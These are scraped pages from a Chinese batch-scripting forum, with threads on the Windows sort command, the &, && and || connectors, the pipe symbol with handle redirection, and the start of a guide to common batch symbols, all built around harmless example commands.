评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
6楼
发表于 2012-1-16 16:55 | 只看该作者
回复 5# CrLf

不明白，原文顺序逆序和排序顺序逆序有什么差别？

能举个例子吗
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

CrLf
  • 发短消息
  • 加为好友

CrLf 当前离线

UID
30406
帖子
6273
精华
2
积分
18545
PB
15608
技术
939
捐助
100
阅读权限
255
在线时间
5383 小时
注册时间
2010-10-9
最后登录
2018-6-3

论坛巡查

帖子
6273
积分
18545
技术
939
捐助
100
注册时间
2010-10-9
7楼
发表于 2012-1-16 17:00 | 只看该作者
test.bat：
  1. @echo off

  2. sort /r test.txt

  3. echo;

  4. sort /+1000 test.txt

  5. pause
复制代码
test.txt：
  1. 123

  2. abc

  3. 测试

  4. @#￥

  5. ABC
复制代码
1

评分人数

    • Hello123World: 明白了。PB + 3 技术 + 1
链接：在线第三方命令行工具下载 bat、vbs、js 原生混编
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
8楼
发表于 2012-1-17 16:19 | 只看该作者
回复 7# CrLf

这里有个新问题想问一下，这些字符的排序不是根据ascii码来的，那是根据什么规则进行排序的？
  1. sort test.txt
复制代码
结果：
  1. @#￥

  2. 123

  3. abc

  4. ABC

  5. 测试
复制代码
.

符号=ascii码
@=64
1=49
a=97
A=65
测=未知
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

CrLf
  • 发短消息
  • 加为好友

CrLf 当前离线

UID
30406
帖子
6273
精华
2
积分
18545
PB
15608
技术
939
捐助
100
阅读权限
255
在线时间
5383 小时
注册时间
2010-10-9
最后登录
2018-6-3

论坛巡查

帖子
6273
积分
18545
技术
939
捐助
100
注册时间
2010-10-9
9楼
发表于 2012-1-17 17:10 | 只看该作者
回复 8# Hello123World

貌似跟 nls 有关系...至于大小写字母为何有的在前有的在后，其实帮助中也有提到：
排序总是不分大小写的。
链接：在线第三方命令行工具下载 bat、vbs、js 原生混编
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
10楼
发表于 2012-1-18 00:43 | 只看该作者
回复 9# CrLf
  1. C:\Users\helloworld\Desktop>sort /r ip.txt

  2. 测试

  3. abc

  4. ABC

  5. 123

  6. @#￥
复制代码
恩，排序不区分大小写，比较倒序、顺序可以看出来。
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

cjiabing
  • 发短消息
  • 加为好友

cjiabing (甲兵时代)当前离线

UID
7853
帖子
1726
精华
2
积分
4473
PB
4191
技术
94
捐助
0
阅读权限
254
在线时间
1302 小时
注册时间
2008-12-21
最后登录
2016-8-29

荣誉版主

帖子
1726
积分
4473
技术
94
捐助
0
注册时间
2008-12-21
11楼
发表于 2012-1-19 23:24 | 只看该作者
sort是一个按列操作的家伙，假如你指定了/+n，则它就从改行开始按顺序，当然，在这之前的也会按顺序，只是开头由它指定了。
寂寞是黑白的，但黑白不是寂寞，是永恒。BAT 需要的不是可能，而是智慧。
回复 引用

评分 报告 TOP

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:28, Processed in 0.046824 second(s), 8 queries, Gzip enabled.


49、复合语句连接符：&、&&和||

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? 【续】[一日一教学]（49）复合语句连接符：&、&&和||
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2012-1-23 12:56 | 只看该作者

[原创] 【续】[一日一教学]（49）复合语句连接符：&、&&和||

本帖最后由 Hello123World 于 2012-2-6 16:34 编辑

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

本帖写于2012.1.23（大年初一），hello123world在这里给众批友拜年了！——祝大家在新的一年里，身体健康，合家欢乐。

帮助信息：
  1. & [...] command1 & command2 用来分隔一个命令行中的多个命令。Cmd.exe 运行第一个命令，然后运行第二个命令。

  2. && [...] command1 && command2 只有在符号 && 前面的命令成功时，才用于运行该符号后面的命令。Cmd.exe 运行第一个命令，然后只有在第一个命令运行成功时才运行第二个命令。

  3. || [...] command1 || command2 只有在符号 || 前面的命令失败时，才用于运行符号 || 后面的命令。Cmd.exe 运行第一个命令，然后只有在第一个命令未能运行成功（接收到大于零的错误代码）时才运行第二个命令。
复制代码
.

以上都是官方的帮助信息（引用于ntcmds.chm），最好用googl搜索下载一本。

命令概括：
& 一般念“and”。

参数详解：

1.先说说&

“用来分隔一个命令行中的多个命令”，官方的这种解释，其实是从解释器的角度出发的。如果按人的角度来说的话，应该是“连接多条命令”。

比如我要输出 hello 和 world 2行文本，用”&“将两条echo命令连接。
  1. @echo off

  2. echo hello & echo world

  3. pause
复制代码
.

“&”在使用中最常出现的问题是变量延迟，关于这个问题，可以参考批处理for语句从入门到精通中关于这个知识点的部分。

2.再说说ErrorLevel

ErrorLevel由两个单词构成，一个Error（错误），一个Level（等级），如果综合这两个单词，字面意义其实就是”错误数量“或者”错误类型“。

如果命令执行成功，那么”错误数量“自然是零。如果执行失败，那么”错误数量“就是非零。

关于ErrorLevel的帖子：

批处理内部命令对错误返回码errorlevel的影响

对批处理中errorlevel的几点猜测

3.执行符号前的命令成功就执行符号后的命令

输出 hello 和 world 2行文本，用”&&“将两条echo命令连接。
  1. @echo off

  2. echo hello && echo world

  3. pause
复制代码
.

执行的结果和用"&"链接两条命令时一模一样，那么”&“和"&&"功能一样吗？

答案是：它们的功能完全不同，这种一样的结果不过是一种巧合罢了。

”&“的作用不过是链接多条命令，而”&&“是为了判断符号前的命令是否执行成功，从而决定是否执行符号后的命令。

这里举一个例子来加以说明：
  1. C:\Users\helloworld\Desktop>start "" "111.txt" && echo hello

  2. 系统找不到文件 111.txt。

  3.

  4. C:\Users\helloworld\Desktop>start "" "111.txt" & echo hello

  5. 系统找不到文件 111.txt。

  6. hello
复制代码
.

用start命令打开一个不存在的文件，由于文件是不存在的，所以start命令执行失败，这时用"&&"链接的命令”echo hello“没有执行，而用”&“链接的执行了。

”&&“的这种特性，让它成为了特殊的条件运算符。

4.执行符号前的命令失败就执行符号后的命令

&&的否定操作就是||。
例如：
  1. C:\Users\helloworld\Desktop>start "" "111.txt" || echo hello

  2. 系统找不到文件 111.txt。

  3. hello
复制代码
.

扩展阅读：

疑问：&&、||和Errorlevel是否有联系？
1

评分人数

    • Batcher: Good work!技术 + 1
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

cjiabing
  • 发短消息
  • 加为好友

cjiabing (甲兵时代)当前离线

UID
7853
帖子
1726
精华
2
积分
4473
PB
4191
技术
94
捐助
0
阅读权限
254
在线时间
1302 小时
注册时间
2008-12-21
最后登录
2016-8-29

荣誉版主

帖子
1726
积分
4473
技术
94
捐助
0
注册时间
2008-12-21
2楼
发表于 2012-2-8 14:59 | 只看该作者
楼主孜孜不倦啊，精神可嘉！龙年大发！
寂寞是黑白的，但黑白不是寂寞，是永恒。BAT 需要的不是可能，而是智慧。
回复 引用

评分 报告 TOP

ivor
  • 发短消息
  • 加为好友

ivor 当前离线

UID
44588
帖子
661
精华
0
积分
2806
PB
2471
技术
105
捐助
20
阅读权限
70
在线时间
784 小时
注册时间
2012-1-7
最后登录
2018-6-2

中校

帖子
661
积分
2806
技术
105
捐助
20
注册时间
2012-1-7
3楼
发表于 2012-2-8 15:38 | 只看该作者
楼主 辛苦啦
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前在线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5843 小时
注册时间
2008-6-9
最后登录
2018-6-3

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
4楼
发表于 2012-2-10 14:20 | 只看该作者
过年还在写教程，辛苦了。
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

sbjatje
  • 发短消息
  • 加为好友

sbjatje 当前离线

UID
29522
帖子
68
精华
0
积分
136
PB
136
技术
0
捐助
0
阅读权限
20
在线时间
28 小时
注册时间
2010-9-7
最后登录
2012-7-2

一级士官

帖子
68
积分
136
技术
0
捐助
0
注册时间
2010-9-7
5楼
发表于 2012-2-10 18:57 | 只看该作者
跟着后面听课，，，
回复 引用

评分 报告 TOP

duofangpao
  • 发短消息
  • 加为好友

duofangpao 当前离线

UID
65257
帖子
12
精华
0
积分
24
PB
24
技术
0
捐助
0
阅读权限
5
在线时间
15 小时
注册时间
2014-3-6
最后登录
2015-5-11

列兵

帖子
12
积分
24
技术
0
捐助
0
注册时间
2014-3-6
6楼
发表于 2014-3-12 19:50 | 只看该作者
这么好的教程没人顶？
回复 引用

评分 报告 TOP

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:28, Processed in 0.038085 second(s), 8 queries, Gzip enabled.


50、管道符号：|

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? [批处理命令一日一教学 续]（50）管道符号：|
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
1 2 下一页
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2012-2-7 18:55 | 只看该作者

[原创] [批处理命令一日一教学 续]（50）管道符号：|

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

管道符（|）的作用是将符号前的命令输出，当做符号后命令的输入。

例如：
有两条命令，“dir /s /b /a”和“ find ".txt"”，第一条显示当前文件夹中的所有文件、文件夹，第二条是查找含有字符“.txt”的字符串。

两条命令用管道符（|）连接就可以“查找当前文件夹中含有.txt的所有文件、文件夹”。
  1. dir /s /b /a | find ".txt"
复制代码
.

一些需要管道符（|）的情况：

1.将当前日期放在剪贴板中。
  1. echo %date:~,10%|clip
复制代码
.

2.查找特定的字符串或文件或文件夹
这个功能要实现的完美，需要熟悉掌握findstr和for，而在findstr和for同时使用的时候，管道符（|）是不可或缺的。
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

ivor
  • 发短消息
  • 加为好友

ivor 当前离线

UID
44588
帖子
661
精华
0
积分
2806
PB
2471
技术
105
捐助
20
阅读权限
70
在线时间
784 小时
注册时间
2012-1-7
最后登录
2018-6-2

中校

帖子
661
积分
2806
技术
105
捐助
20
注册时间
2012-1-7
2楼
发表于 2012-2-7 19:19 | 只看该作者
  1. CLIP

  2.

  3. 描述:

  4.     将命令行工具的输出重定向到 Windows 剪贴板。这个文本输出可以被粘贴

  5.     到其他程序中。

  6.

  7. 参数列表:

  8.     /?                  显示此帮助消息。

  9.

  10. 示例:

  11.     DIR | CLIP          将一份当前目录列表的副本放入 Windows 剪贴板。

  12.

  13.     CLIP < README.TXT   将 readme.txt 的一份文本放入 Windows 剪贴板。
复制代码
回复 引用

评分 报告 TOP

CrLf
  • 发短消息
  • 加为好友

CrLf 当前离线

UID
30406
帖子
6273
精华
2
积分
18545
PB
15608
技术
939
捐助
100
阅读权限
255
在线时间
5383 小时
注册时间
2010-10-9
最后登录
2018-6-3

论坛巡查

帖子
6273
积分
18545
技术
939
捐助
100
注册时间
2010-10-9
3楼
发表于 2012-2-7 20:03 | 只看该作者
管道符（|）的作用是将符号前的命令输出，当做符号后命令的输入。

这一句并不准确，因为管道必须产生至少两个子进程，内部命令和转义的连接符将启用 cmd.exe 来解释执行，所以更严谨的说法也许是：
管道符（|）的作用是将符号前的进程输出，当做符号后进程的输入。
链接：在线第三方命令行工具下载 bat、vbs、js 原生混编
回复 引用

评分 报告 TOP

xslxslxsl
  • 发短消息
  • 加为好友

xslxslxsl 当前离线

UID
36358
帖子
219
精华
0
积分
278
PB
263
技术
5
捐助
0
阅读权限
20
在线时间
95 小时
注册时间
2011-4-13
最后登录
2017-10-30

四级士官

帖子
219
积分
278
技术
5
捐助
0
注册时间
2011-4-13
4楼
发表于 2012-2-7 22:14 | 只看该作者
原来还有这个CLIP啊，学到了一些
回复 引用

评分 报告 TOP

applba
  • 发短消息
  • 加为好友

applba 当前离线

UID
36715
帖子
551
精华
0
积分
2787
PB
2670
技术
39
捐助
0
阅读权限
70
在线时间
252 小时
注册时间
2011-4-22
最后登录
2015-6-21

中校

帖子
551
积分
2787
技术
39
捐助
0
注册时间
2011-4-22
5楼
发表于 2012-2-8 00:02 | 只看该作者
举个例子：
dir 你好 |more
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
6楼
发表于 2012-2-8 12:29 | 只看该作者
回复 3# CrLf

如果管道前和管道后都是内部命令，也会产生两个子进程吗？
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

Demon
  • 发短消息
  • 加为好友

Demon 当前离线

UID
24826
帖子
766
精华
1
积分
1451
PB
1090
技术
117
捐助
0
阅读权限
50
在线时间
2328 小时
注册时间
2010-5-12
最后登录
2016-6-13

上尉

帖子
766
积分
1451
技术
117
捐助
0
注册时间
2010-5-12
7楼
发表于 2012-2-8 13:02 | 只看该作者
回复 CrLf

如果管道前和管道后都是内部命令，也会产生两个子进程吗？
Hello123World 发表于 2012-2-8 12:29

会
http://demon.tw
回复 引用

评分 报告 TOP

cjiabing
  • 发短消息
  • 加为好友

cjiabing (甲兵时代)当前离线

UID
7853
帖子
1726
精华
2
积分
4473
PB
4191
技术
94
捐助
0
阅读权限
254
在线时间
1302 小时
注册时间
2008-12-21
最后登录
2016-8-29

荣誉版主

帖子
1726
积分
4473
技术
94
捐助
0
注册时间
2008-12-21
8楼
发表于 2012-2-8 14:59 | 只看该作者
你这个可以和49那个帖合并一起了，都是管道连接符号。
寂寞是黑白的，但黑白不是寂寞，是永恒。BAT 需要的不是可能，而是智慧。
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
9楼
发表于 2012-2-8 16:39 | 只看该作者
回复 7# Demon

可为什么运行
echo hello | find "h"

只有一个cmd.exe.
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
10楼
发表于 2012-2-8 16:46 | 只看该作者
回复 8# cjiabing

还是那句话“萧规曹随”，如果要改的话，其实还有很多，比如可以添加clip、rasdial等命令，但是我本来就是冲着namejm的帖子来的，他完成知识结构，我帮忙做他没有做完的内容。
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前在线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5843 小时
注册时间
2008-6-9
最后登录
2018-6-3

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
11楼
发表于 2012-2-10 14:15 | 只看该作者
回复 8# cjiabing

哪本书上说&、&&、||是管道？我一直很好奇为啥很多人这样说
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

applba
  • 发短消息
  • 加为好友

applba 当前离线

UID
36715
帖子
551
精华
0
积分
2787
PB
2670
技术
39
捐助
0
阅读权限
70
在线时间
252 小时
注册时间
2011-4-22
最后登录
2015-6-21

中校

帖子
551
积分
2787
技术
39
捐助
0
注册时间
2011-4-22
12楼
发表于 2012-2-12 10:14 | 只看该作者
其实进程的多少无所谓～
管道，用于连接一个命令的输出句柄（句柄1）和另一个命令的输入句柄（句柄0）。
注意：
管道只传递前一个命令的标准输出（句柄1）到后一个命令；
管道并不传递前一个命令的错误输出（句柄2）到后一个命令。
  1. echo 12345 >nul | more

  2. cd  \\\ |more >1.txt
复制代码
第一句什么也不会显示，因为echo命令的标准输出会被优先重定向到nul，more命令不会得到任何信息。
第二句1.txt也是空的，因为cd命令的出错信息是句柄2输出的，句柄2的信息不会被管道传递。

我在5#的例子就是这个意思，居然没有人讨论～
回复 引用

评分 报告 TOP

find
  • 发短消息
  • 加为好友

find 当前离线

UID
44507
帖子
832
精华
0
积分
6744
PB
6618
技术
42
捐助
0
阅读权限
99
在线时间
154 小时
注册时间
2012-1-4
最后登录
2017-3-17

少将

帖子
832
积分
6744
技术
42
捐助
0
注册时间
2012-1-4
13楼
发表于 2012-2-12 19:30 | 只看该作者
回复 12# applba
  1. dirrrr 2>&1 | more
复制代码
这个该如何讨论呢？
回复 引用

评分 报告 TOP

cjiabing
  • 发短消息
  • 加为好友

cjiabing (甲兵时代)当前离线

UID
7853
帖子
1726
精华
2
积分
4473
PB
4191
技术
94
捐助
0
阅读权限
254
在线时间
1302 小时
注册时间
2008-12-21
最后登录
2016-8-29

荣誉版主

帖子
1726
积分
4473
技术
94
捐助
0
注册时间
2008-12-21
14楼
发表于 2012-2-12 21:02 | 只看该作者
回复 11# Batcher

不会是我误导的吧？最近状态不好，表达不严谨，老说错话做错事。
其实我的意思是管道符和连接符，换个角度说，&、&&、|、||这些符号都有一个共同的特性，就是它们都能将两个命令连接起来，或表示并联，或表示串联：
& 连接符号，表示连接两个命令，此两个命令之间缺乏必要的关联，前后两个命令可以各独立成行；命令按横向顺序执行。如：@echo off&echo Yes&pause&exit，这样做的意义就是在FOR等命令当中能够实现用一行来执行多行的命令。
&& 表示连接两个命令，此两个命令之间存在先后顺序，即前一个命令执行成功后再执行后一个命令，没有前一命令执行结果（成功与否）反馈后一个命令就无法执行；命令不能分开执行，否则达不到原有功能和目的。打个比方，如果你点燃导火线（前一命令），鞭炮就会响（后一命令），而只要你点燃它肯定会响。&&的判断标准应该是类似于返回码之类的方式，也就是，你可以将&&语句改成：echo Yes&IF %ERRORLEVEL% == 0 echo 执行成功&pause。但我对返回码认识比较迷糊，可能只要命令执行了而不管有无结果返回码都算是0，似乎没有&&那么精确和方便。
| 传说中的管道符号，表示连接两个命令，并将前一个命令执行结果传输给后一个命令，理论上类似于单个FOR的执行过程；这两个命令存在先后关系，可以同时运行，但没有前一命令的结果后一命令就会发生错误。管道符|类似于接力赛上的接力棒，它从一个运动员的手上传递给下一个运动员的手上。如：dir|find /i "dir"
|| 仍然是管道符，表示连接两个命令，它将上一命令结果传输给下一命令执行，但它传输的是一种执行状态（成功与否），而不是或不仅仅是执行结果；性质上几乎与&&一模一样，只是功能上恰好相反，它表示上一命令执行失败后执行后一命令，如果不失败则不执行。如：echooo ooo||echo Bad。 或：echo ooo>nul 2>nul||echo Bad。
由以上可知，真正的管道符号是|，它真正传输了前一命令的结果到后一命令执行，这样就不必使用临时文件、临时变量了。如果||也算是管道符号，那么&&也应该算是，它们都会将前一命令的执行状态（返回码）传输给后一命令，以此决定后一命令是否执行。实际上在使用中我们都将两者放在同一参考位置上。真正在连接前后命令时没有像前三者一样向后一命令传递信息（执行状态和执行结果）的可能只有&。
以上说的执行状态，是指命令执行是否成功这一状态信息；执行结果，是指命令执行后获得的结果信息。
简单滴说：
&——将两个命令连接起来一起执行，各自独立。
|——将前面命令执行结果传递给后面命令，血肉相连。传输执行结果。
&&——如果前面命令执行成功，则执行后面命令，否则不执行。传输执行状态。
||——如果前面命令执行失败，则执行后面命令，否则不执行。传输执行状态。
寂寞是黑白的，但黑白不是寂寞，是永恒。BAT 需要的不是可能，而是智慧。
回复 引用

评分 报告 TOP

applba
  • 发短消息
  • 加为好友

applba 当前离线

UID
36715
帖子
551
精华
0
积分
2787
PB
2670
技术
39
捐助
0
阅读权限
70
在线时间
252 小时
注册时间
2011-4-22
最后登录
2015-6-21

中校

帖子
551
积分
2787
技术
39
捐助
0
注册时间
2011-4-22
15楼
发表于 2012-2-12 21:10 | 只看该作者
回复 13# find

dirrrr的句柄1本来就不会产生任何信息。
2>&1，或者2<&1，都表示句柄2复制句柄1的方向，此时句柄2指向的句柄1中的con，而句柄1依然是无内容的。
（不要理解成把句柄2中的内容写入句柄1，然后句柄1就有了句柄2 的内容！）
1<&2，或1>&2，表示句柄1复制句柄2 的方向，句柄1此时指向句柄2 的con，这时的句柄1是有内容的。

下面的命令是可以显示句柄2的内容：
  1. dirrrr 1>&2 | more

  2. dirrrr 1<&2 | more
复制代码
回复 引用

评分 报告 TOP

1 2 下一页
返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:29, Processed in 0.048064 second(s), 7 queries, Gzip enabled.


批处理常用符号详解

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? 批处理常用符号详解
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
1 2 3 4 下一页
返回列表 回复 发帖
namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2008-7-13 14:26 | 只看该作者

[原创] 批处理常用符号详解

这是一篇针对批处理中常用符号的详细解释，每个符号都有解释及相应的举例，希望通过比较系统的讲述，能让新手尽快入门。

    在这篇帖子中，我对常用符号的讲解做如下限定：
    1、收集批处理中经常用到的符号；
    2、每个常用符号，只讲述最常用的功能；深入的用法留待将来介绍；
    这样限定的原因，一是让新手系统地接触最常用符号的常用功能，不至于一开始就陷入技术细节中难以自拔；二是有些符号的用法非常罕见，没有特定的需求可以忽略掉，比如句柄复制符号；三是有些高深的内容本人也没有完全消化，只解说一鳞半爪难免会误人子弟，比如 set /a 中的^、!等符号；

    如有遗漏或谬误，请大家及时跟帖，帮忙修正。
————————————————————————————————————————————

1、@
    一般在它之后紧跟一条命令或一条语句，则此命令或语句本身在执行的时候不会显示在屏幕上。请把下面的代码保存为test.cmd文件，然后运行，比较一下两条echo语句在屏幕上的输出差异：
  1. echo a

  2. @pause

  3. @echo b

  4. @pause
复制代码
执行结果如下：
C:\Documents and Settings\JM\桌面>echo a
a
请按任意键继续...
b
请按任意键继续...

2、%、%%
    百分号用在不同的场合，有不同的含义：
    ① 当百分号成对出现，并且其间包含非特殊字符时，一般做变量引用处理，比如：%var%、%str%。把以下代码保存为批处理文件，运行后观察屏幕显示结果：
  1. @echo off

  2. set str=abc

  3. echo 变量 str 的值是： %str%

  4. pause
复制代码
在屏幕上将显示这样的结果：
变量 str 的值是： abc
按任意键继续...

    另外，百分号作为变量引用还有一种特殊形式，那就是对形式参数的引用，此时，单个百分号后面紧跟0～9这10个数字，如%0、%1，请看演示代码：
  1. @echo off

  2. if defined str goto next

  3. set str=

  4. set /p str=请把文件拉到本窗口后回车：

  5. call "%~0" %str%

  6. pause

  7. exit

  8.

  9. :next

  10. cls

  11. echo 本批处理文件完整路径为："%~0"

  12. echo 拖到本窗口的文件完整路径为："%~1"

